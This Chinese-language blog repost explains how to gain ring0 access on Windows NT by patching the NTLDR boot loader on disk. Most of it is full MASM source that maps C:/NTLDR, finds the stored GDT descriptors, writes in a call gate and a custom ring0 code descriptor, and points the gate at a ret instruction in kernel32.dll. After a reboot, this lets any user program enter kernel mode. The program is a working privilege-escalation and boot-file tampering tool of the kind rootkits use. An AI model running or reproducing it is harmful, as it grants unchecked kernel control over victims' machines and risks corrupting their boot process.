在保護模式下,ring0有至高無上的權限,他一直是很多黑客程序員追求的目標,在NT平臺上,MS對系統表格作了保護,不能在象win9x那樣,去直接修改系統表格,但是還是有不少辦法能夠進入ring0的,例如,在國內,最早sinister利用編寫驅動程序的方法進入ring0,這也是最通用的方法了,緊跟着WebCrazy又使用讀寫物理內存的方法來讀寫GDT所在的物理內存,在GDT上生成自己的調用門來隨意進出ring0。後來由MGF提出一種更新的方法,這也就是我要介紹的方法,修改NTLDR。
爲什麼要修改NTLDR呢,因爲windows在啓動之時,需要裝載GDT上的描述符,而NT的引導程序是NTLDR,那麼也就是說描述符可能在NTLDR中,如果我們的假設成立,那麼我們就能夠在NTLDR中找到系統描述符,好,我們首先來做個實驗,用UE打開NTLDR,搜索16進制數ffff 0000 009a cf00(這是GDT上的一個描述符,它的選擇子爲8h),結果我們搜到了,那麼證明想法是對的,在向後看,發現還有不少描述符,哈哈,如果我們在搜索到的描述符區域中空的地方加入自己的調用門和自己的系統描述符,當系統重新啓動的時候我們的調用門就會被操作系統裝載到內存中,這樣我們就有了我們需要的調用門,就可以利用這個調用門自由進出ring0了。這裏可能有人要問爲什麼不用系統選擇子08h所對應的描述符,而自己生成自己的選擇子和描述符,這是因爲我們的調用門所指向的代碼一般都在用戶區,MS會做檢測,如果發現運行在選擇子爲8h的代碼在0x80000000以下,就會認爲是非法進入ring0,就會產生異常。下面請看代碼
;修改ntldr添加調用門,運行任意ring0代碼的例子
.386
.model flat,stdcall
option casemap:none
include d:/masm32/include/windows.inc
include d:/masm32/include/kernel32.inc
include d:/masm32/include/user32.inc
includelib d:/masm32/lib/kernel32.lib
includelib d:/masm32/lib/user32.lib
.data
szFileName db 'C:/NTLDR',0
dwAttrib dd 0
hFile dd 0
hMap dd 0
pFile dd 0
dwFileSize dd 0
dwC3Code dd 0
GDTFlag dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh ;GDT中的第一個和第二個描述符
CallGate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh ;調用門和一個自己系統描述符
CallSel dd 0
dw 103h ;調用門的選擇子
.code
start:
push offset szFileName
call GetFileAttributes ;得到文件屬性
mov edx,eax
inc edx
je ERROR_GETFILEATTRIB ;如果返回錯誤的話就直接退出
mov dwAttrib,eax ;否則保存文件屬性
push 80h
push offset szFileName
call SetFileAttributes ;設置文件屬性爲一般文件
call FindC3Code ;在kernel32.dll中搜索ret指令
push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push offset szFileName
call CreateFileA ;打開文件
mov edx,eax
inc edx
je ERROR_OPENFILE
mov hFile,eax
push 0
push hFile
call GetFileSize
mov dwFileSize,eax ;得到文件大小
push 0
push 0
push 0
push 4
push 0
push hFile
call CreateFileMapping
or eax,eax
je ERROR_FILEMAP
mov hMap,eax
push 0
push 0
push 0
push 6
push eax
call MapViewOfFile ;文件映射到內存
or eax,eax
je ERROR_MAP
mov pFile,eax
mov edi,eax
mov esi,offset GDTFlag
mov ecx,dwFileSize
@@: ;在NTLDR中搜索描述符
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @B
;發現標誌後,準備在GDT中搜索一個空間來存放調用門
or ecx,ecx
je ERROR_MAP
xor eax,eax
mov ecx,80h
@@:
sub edi,8
push edi
push ecx
mov ecx,8
repz scasb ;再次確認位置
pop ecx
pop edi
loopnz @B
or ecx,ecx
je ERROR_MAP
add edi,100h
lea esi,CallGate
mov ecx,10h
rep movsb ;寫入調用門
mov edx,dwC3Code
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx ;使調用門指向ret的地址
ERROR_MAP:
push pFile
call UnmapViewOfFile
ERROR_FILEMAP:
push hMap
call CloseHandle
ERROR_OPENFILE:
push hFile
call CloseHandle
push dwAttrib
push offset szFileName
call SetFileAttributes ;還原文件屬性
ERROR_GETFILEATTRIB:
push 0
call ExitProcess
FindC3Code:
assume fs:nothing
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h] ;eax->kernel32 base address
mov edi,eax
add edi,1000h ;從代碼段開始搜索
mov ecx,20000h
mov al,0c3h; 搜索RET指令
repnz scasb
dec edi
mov dwC3Code,edi
ret
end start
這個程序修改NTLDR,在其中GDT的第一個描述符的偏移100h的地方寫入自己的一個調用門和一個系統描述符,在重新啓動以後,我們的調用門將被加載到GDT中,這樣我們就可以自由進出ring0了,另外這個程序的調用門指向kernel32.dll中的一條ret指令,爲什麼要這麼做呢?因爲首先來看看使用調用門後cpu都做了那些事,如果有程序使用了調用門,CPU會保存所有的寄存器,其中包括EAX,EBX,ECX,EDX,ESP,CS,DS,ES,FS,SS,EIP等,在轉向調用門時,我們先來看看堆棧的結構
EIP
Ring3的esp
….
看到了吧,如果我們在這裏執行一條ret指令,就能跳向調用調用門的下一條指令,這樣就轉回了我們自己的程序中了。
本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/yincheng01/archive/2009/06/08/4252024.aspx